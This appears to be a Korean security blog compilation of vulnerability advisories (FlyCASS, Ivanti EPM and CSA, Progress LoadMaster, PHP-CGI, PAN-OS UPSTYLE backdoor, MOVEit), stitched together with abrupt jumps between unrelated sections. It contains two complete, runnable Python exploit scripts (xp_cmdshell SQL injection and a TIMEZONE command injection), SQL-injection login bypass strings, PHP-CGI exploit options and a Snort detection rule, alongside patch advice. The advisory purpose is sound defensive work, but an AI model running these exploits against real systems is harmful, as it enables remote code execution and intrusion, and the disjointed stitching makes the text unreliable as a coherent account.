- 해외 보안 연구원에 의해 공항 보안에 사용되는 KCM과 CASS 프로세스에서 SQL Injection 취약점 발견 [1] - 취약점 악용에 성공할 시 관리자가 되어 항공사에 새로운 직원을 추가하는 등의 악성행위 가능 > 현재는 취약점이 해결되었음
2. 주요내용
2.1 KCM (Known Crewmember)
- 조종사와 승무원이 보안 검색을 우회할 수 있도록 해주는 TSA 프로그램 - 직원은 전용 레인을 사용하며, KCM 바코드 또는 직원 번호를 제시해 통과 여부를 결정
※ TSA (Transportation Security Administration) : 미국 교통안전청, 9.11 테러 이후 여객기 등의 운행 안전 필요성이 대두되어 설립
2.2 CASS (Cockpit Access Security System)
- 조종사가 조종실의 점프 시트를 사용할 수 있도록 하는 시스템
2.3 ARINC
- 항공, 공항, 국방, 정부, 수송분야에서 사용되는 표준과 시스템을 개발 및 제공하는 기업 - TSA와 계약하여 KCM 시스템을 운영하며, 조종사와 승무원이 KCM 상태를 확인할 수 있는 웹 사이트와 항공사 간 승인 요청을 라우팅하는 API 등을 운영 > 각 항공사는 KCM 및 CASS에 참여하기 위해 자체 인증 시스템을 운영하며, ARINC의 허브와 상호작용함 - TSA와 항공사는 CockpitAccessRequest와 CrewVerificationRequest 같은 요청을 ARINC로에 보낼 수 있으며, ARINC는 이를 적절한 항공사 시스템으로 라우팅
2.4 FlyCASS.com
- 소규모 항공사를 위해 KCM, CASS 운영하며, 모든 항공사가 자체 로그인 페이지를 가지고 있음 - 로그인 페이지에서 SQL Injection 취약점을 테스트(username에 ` 입력)한 결과 MySQL 오류 발생 > sqlmap을 사용해 관리자로 FlyCASS에 로그인 성공 > username : ' or '1'='1 / password : ') OR MD5('1')=MD5('1
※ sqlmap : SQL Injection을 감지 및 악용할 수 있는 Python 으로 작성된 오픈 소스 침투 테스트 도구 [2]
※ 잘못된 SQL 문법 등의 경우 반환되는 에러 메시지를 통해 데이터베이스 정보를 획득할 수 있으므로, 에러 메시지를 출력하지 않도록 조치 필요
2.5 KCM, CASS 관리자
- FlyCASS에 SQL Injection 취약점을 악용해 관리자 권한으로 접근이 가능 > 직원(조종사, 승무원) 목록을 확인하거나 추가 인증 없이 새로운 직원을 추가할 수 있었음
- 테스트를 위해 Test TestOnly 직원 추가 및 KCM, CASS 접근 권한을 부여하는데 성공 > SQL Injection에 기본적인 지식이 있는 누구나 KCM, CASS에 임의의 직원을 추가할 수 있는 심각한 문제
2.6 공개 및 기타 [3]
- 미국 국토안보부(United States Department of Homeland Security, DHS)에 문제를 공개 - 이후 FlyCASS는 KCM, CASS에서 비활성화 - TSA는 취약점을 부인하는 성명을 발표했으며, DHS는 초기에 신속하고 전문적으로 처리했으나, 이후 과정에서 상급 기관으로써의 역할을 제대로 수행하지 못함 - 비밀번호를 저장하는데 MD5 해시를 사용한 것 또한 문제
- 취약점은 PatchBiz.dll 파일의 RecordGoodApp()이라는 함수에서 발생 [3]
> 해당 함수의 첫 번째 SQL 문이 잠재적으로 SQL Injection에 취약
> string.Format을 사용하여 goodApp.md5의 값을 SQL 쿼리에 삽입
> 공격자는 goodApp.md5 값에 SQL 구문 Injection 및 xp_cmdshell을 통해 원격 명령 실행
- 취약점 흐름은 다음과 같음
2.2 PoC [4]
- /WSStatusEvents/EventHandler.asmx URL로 POST 요청 - GoodApp=1|md5 값에 SQL Injection 구문 및 xp_cmdshell을 통해 원격 명령 실행
※ xp_cmdshell: SQL Server에서 운영체제 명령을 직접 실행할 수 있도록 해주는 확장 저장 프로시저
import argparse
import requests
import urllib3
import sys
from requests.exceptions import ReadTimeout
urllib3.disable_warnings()
XML_PAYLOAD = """<?xml version="1.0" encoding="utf-8"?>
<soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope">
<soap12:Body>
<UpdateStatusEvents xmlns="http://tempuri.org/">
<deviceID>string</deviceID>
<actions>
<Action name="string" code="0" date="0" type="96" user="string" configguid="string" location="string">
<status>GoodApp=1|md5={}</status>
</Action>
</actions>
</UpdateStatusEvents>
</soap12:Body>
</soap12:Envelope>
"""
SQLI_PAYLOAD = "'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell '{}'--"
def get_cmd_arrays(cmd_file):
try:
with open(cmd_file, 'r') as f:
cmds = f.read().split('\n')
cmds = [c for c in cmds if c]
return cmds
except Exception as e:
sys.stderr.write(f'[!] Unexpected error reading cmd file: {e}\n')
return []
def exploit(url, command):
h = {'Content-Type': 'application/soap+xml' }
sqli_payload = SQLI_PAYLOAD.format(command)
xml_payload = XML_PAYLOAD.format(sqli_payload)
try:
r = requests.post(f'{url}/WSStatusEvents/EventHandler.asmx', data=xml_payload, headers=h, verify=False, timeout=30)
if r.status_code == 200:
print(f'[+] Successfully sent payload to server')
else:
print(f'[-] Unexpected response from server')
except TimeoutError:
# Expected to timeout given it keeps connection open for process duration
pass
except ReadTimeout:
# Expected to timeout given it keeps connection open for process duration
pass
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-u', '--url', help='The base URL of the target', required=True)
parser.add_argument('-c', '--cmd_file', help='The commands to execute blind', type=str, required=True)
args = parser.parse_args()
commands = get_cmd_arrays(args.cmd_file)
for command in commands:
exploit(args.url, command)
3. 대응방안
- 벤더사 제공 최신 업데이트 적용 [5]
> 해당 취약점을 포함한 5가지 원격 코드 실행 취약점 해결
- 탐지룰 적용
> 취약성 여부를 확인할 수 있는 스크립트 활용 [6]
alert tcp any any -> any any (msg:"CVE-2024-29824"; flow:to_server,established; content:"/WSStatusEvents/EventHandler.asmx"; content:"GoodApp=1|md5"; nocase; http_method POST;)
- Ivanti Cloud Service Appliance(CSA)에서 발생하는 OS 명령 삽입 취약점
> 공격자가 해당 취약점을 악용하기 위해서 관리자 수준의 권한이 있어야 함
영향받는 버전: Ivanti CSA 4.6
- DateTimeTab.php의 handleDateTimeSubmit() [2]
> HTTP 요청을 구문 분석 > TIMEZONE 파라미터를 인수로 setSystemTimezone() 호출
- DateTimeTab.php의 setSystemTimezone()는 변수에 대한 검증없이 exec() 호출
- 공개된 PoC 확인 시 /gsb/datetime.php URL로 POST 요청 및 TIMEZONE 변수에 OS 명령 삽입 [3] > CSA는 admin:admin의 기본 자격 증명을 제공하며, 해당 자격 증명으로 로그인 시 비밀번호 업데이트를 강제 > 침해가 발생하거나 공격을 받은 시스템의 경우 로그인한 적이 없거나, 취약한 비밀번호를 사용한 것으로 판단됨
#!/usr/bin/python3
import argparse
import re
import requests
import sys
import urllib3
from requests.auth import HTTPBasicAuth
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def exploit(url, username, password, command):
u = username
p = password
s = requests.Session()
r = s.get(f"{url}/gsb/datetime.php", auth=HTTPBasicAuth(u,p), verify=False)
m = re.search(r"name=['\"]LDCSA_CSRF['\"]\s+value=['\"]([^'\"]+)['\"]", r.text)
if m:
ldcsa = m.group(1)
print(f"[+] Got LDCSA_CSRF value: {ldcsa}")
else:
print(f"[-] Failed getting LDCSA_CRSF token")
sys.exit(0)
payload = {
"dateTimeFormSubmitted": "1",
"TIMEZONE": f"; `{command}` ;",
"CYEAR": "2024",
"CMONTH": "9",
"CDAY": "13",
"CHOUR": "12",
"CMIN": "34",
"LDCSA_CSRF": ldcsa,
"SUBMIT_TIME": "Save"
}
print(f"[*] Sending payload...")
r = s.post(f"{url}/gsb/datetime.php", auth=HTTPBasicAuth(u,p), verify=False, data=payload)
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-u', '--url', help='The base URL of the target', required=True)
parser.add_argument('--username', help='The application username', required=True)
parser.add_argument('--password', help='The application password', required=True)
parser.add_argument('-c', '--command', help='The command to execute blind', type=str, required=True)
args = parser.parse_args()
exploit(args.url, args.username, args.password, args.command)
1.1 CVE-2024-8963
- Ivanti CSA에서 발생하는 경로 탐색 취약점 (CVSS: 9.1) > 익스플로잇에 성공한 공격자는 인증을 우회하여 제한된 기능에 액세스할 수 있음 > CVE-2024-8190와 함께 악용할 경우 공격자는 인증을 우회하여 임의의 명령을 실행할 수 있음
영향받는 버전: Ivanti CSA 4.6
- 벤더사는 업데이트 제공 [5][6]
> 입력값에 대한 검증 과정 추가 > CSA 4.6 버전은 EoL(지원 종료)로 더 이상 지원되지 않아 빠른 업데이트 필요[7]
- Progress Software社에서 개발한 SW - 대규모 조직에서 앱 성능 최적화, 네트워크 트래픽 관리, 높은 서비스 가용성 보장을 위해 사용하는 ADC 및 부하 분산 솔루션 - Multi-Tenant Hypervisor 버전은 멀티 테넌트 환경을 위해 설계된 LoadMaster 버전으로, 동일한 하드웨어에서 여러 가상 네트워크 기능을 실행할 수 있음
2. CVE-2024-7591
- Progress LoadMaster의 부적절한 입력 검증 취약점으로 인한 OS 명령 삽입 취약점 (CVSS: 10.0) > 조작된 HTTP 요청을 보냄으로써 익스플로잇 해 관리자 인터페이스에 접근할 수 있게 되며, 이후 임의 OS 명령을 실행시킬 수 있음 > PoC 및 악용 시도는 확인되지 않음
- 해당 취약점은 "sapi/cgi/cgi_main.c"에서 적절한 검증 없이 PHP-CGI로 값을 전달하여 발생
> 1793줄 if(): CGI 사용 여부 확인
> 1805줄 while(): CGI 옵션 검증(c, n, d, b, s) 후 옵션 전달
구분
옵션
설명
자주 사용되는 Exploit 옵션
-n
php.ini 파일을 사용하지 않음
-s
소스코드를 하이라이트로 보여줌
-d
php.ini 정의된 설정 내용을 사용자가 설정 할 수 있음 > allow_url_fopen=1: 외부 URL로부터 파일 호출 > allow_url_include=1: 외부 파일 include 허용 > auto_prepend_file=php://input: Http Request Body로부터 데이터를 가져와 실행 > auto_prepend_file=value: value를 먼저 실행 후 POST뒤의 원래 페이지를 실행 > auto_append_file=value: 요청된 페이지를 먼저 실행하고 php://input(BODY)를 실행
- 공개된 PoC에서는 -d 옵션을 사용해 php.ini 파일의 내용을 수정 및 Exploit [6]
> 공격 그룹 UTA0218이 사용자 정의 Python 백도어 UPSTYLE을 방화벽에 설치하려는 시도를 확인
> 해당 백도어를 통해 장치에 추가 명령을 실행
UPSTYLE 백도어
- update[.]py를 사용해 해당 백도어를 유포 > /usr/lib/python3.6/site-packages/system.pth 경로에 백도어 배포 > 백도어는 Python으로 작성되어 있으며, base64 encoded 되어있음
- 동작 과정 ① 공격자는 특정 패턴을 포함하며, 404 Error를 반환하는 요청 전송 ② Error log(/var/log/pan/sslvpn_ngx_error.log)에서 특정 패턴 검색 ③ 특정 패턴(명령)을 디코딩 및 실행 ④ 명령 실행 결과를 /var/appweb/sslvpndocs/global-protect/portal/css/bootstrap.min.css에 작성 ⑤ 공격자는 /bootstrap.min.css 경로로 요청 전송 ⑥ Error log에서 명령 삭제 및 15초 후 /bootstrap.min.css 원본으로 복구
※ 두 가지 변형이 확인되었으나, 동작 과정에서 큰 차이는 보이지 않음
- 익스플로잇에 성공한 후 공격을 위한 추가 툴을 다운로드
> patch 파일의 내용을 지속적으로 가져와 실행하여 지속성 유지
> patch 파일이 실행되면 policy 파일을 다운로드 및 실행하며, 총 6개의 policy 파일을 확인
> 이후 공격자는 Chrome 및 Edge 로그인 데이터, 쿠키, PC 정보, 자격 증명 정보 등을 탈취
구분
설명
patch
- update.cron 파일 존재 여부 확인 > 없을 경우 파일을 생성 및 실행하여 cron 작업을 설정 > policy 파일을 다운로드하고, 60초마다 bash를 통해 실행
- 공격자는 추가 공격을 위해 수동으로 policy 파일을 작성 > C2 서버에 대한 접근 제어 목록을 수동으로 관리하는 것으로 확인
policy v1
- python으로 작성된 on-line 리버스 셸
policy v2
- 공격 명령 실행 결과가 포함된 CSS 파일을제거 - 방화벽 장치의 설정을 새 파일에 복사하여 CSS 파일에 장치의 호스트 이름을 저장 > 해당 파일은 공격자가 접근 가능하도록 외부에서 액세스 가능한 디렉터리에 저장
policy v3
- 이전 단계에서 생성된 CSS 파일을 제거하는 데 사용
policy v4
- GOST 터널링 다운로드 및 실행하여, SOCKS5과 RTCP 터널 설정 시도
policy v5
- v4의 수정된 버전으로, Base64 인코딩 형식으로 GOST 터널링 다운로드
policy v6
- SSH를 통해 작동하는 오픈 소스 리버스 셸을 다운로드 및 실행하는 명령이 포함
2.2 취약점 분석 [3]
- send_file()는 서버에 파일을 업로드하기 위해 curl_cmd 문자열을 구성한 후 pansys() 호출 및 curl_cmd 실행
> pansys() 호출시 shell 변수를 True로 설정하여 셸 기능에 액세스할 수 있는 것으로 판단됨
- SESSID 쿠키에 설정된 값을 /tmp/sslvpn 경로에 session_ 문자열을 붙여 저장
> SESSID 쿠키에 임의의 데이터를 전달할 경우 /tmp/sslvpn에 "session_임의의 데이터" 저장
> SESSID 쿠키에 디렉터리 이동 문자 (../)를 추가할 경우 "seesion_" 문자가 추가되지 않음
- 공격자는 MOVEit Transfer 앱에 조작된 페이로드를 전달하여, 최종적으로 MOVEit DB 컨텐츠의 수정 및 공개가 가능
영향받는 저번 - MOVEit Transfer 2023.0.x (15.0.x) - MOVEit Transfer 2022.1.x (14.1.x) - MOVEit Transfer 2022.0.x (14.0.x) - MOVEit Transfer 2021.1.x (13.1.x) - MOVEit Transfer 2021.0.x (13.0.x) - MOVEit Transfer 2020.1.x (12.1) - MOVEit Transfer 2020.0.x (12.0) 혹은 그 이전버전 - MOVEit Cloud
- 구체적인 PoC는 확인되지 않으나 아르헨티나 보안 연구원 MCKSys이 PoC 화면 공개 [2]
> 관련 내용 Github 업로드 예정
- 현재 벤더사 홈페이를 통해 업데이트가제공됨 [3]
> 해당 패치는 CVE-2023-34362 관련 패치를 포함한 패치
취약한 버전
패치 버전
MOVEit Transfer 2023.0.x (15.0.x)
MOVEit Transfer 2023.0.2 (15.0.2)
MOVEit Transfer 2022.1.x (14.1.x)
MOVEit Transfer 2022.1.6 (14.1.6)
MOVEit Transfer 2022.0.x (14.0.x)
MOVEit Transfer 2022.0.5 (14.0.5)
MOVEit Transfer 2021.1.x (13.1.x)
MOVEit Transfer 2021.1.5 (13.1.5)
MOVEit Transfer 2021.0.x (13.0.x)
MOVEit Transfer 2021.0.7 (13.0.7)
MOVEit Transfer 2020.1.x (12.1)
Progress 웹사이트 참고 [4]
MOVEit Transfer 2020.0.x (12.0) 및 이전 버전
가능한 상위 버전 [5]
MOVEit Cloud
14.1.6.97 또는 14.0.5.45 테스트버전: 15.0.2.39
2.2 CVE-2023-35708
- 취약한 버전의 MOVEit Transfer에서 발생하는SQL Injection 취약점
- 공격자는 권한 상승 및 이후 추가적인 익스플로잇이 가능해짐
- 구체적인 PoC는 확인되지 않음
영향받는 버전 - MOVEit Transfer 2023.0.x (15.0.x) - MOVEit Transfer 2022.1.x (14.1.x) - MOVEit Transfer 2022.0.x (14.0.x) - MOVEit Transfer 2021.1.x (13.1.x) - MOVEit Transfer 2021.0.x (13.0.x) - MOVEit Transfer 2020.1.x (12.1) - MOVEit Transfer 2020.0.x (12.0) 혹은 그 이전버전 - MOVEit Cloud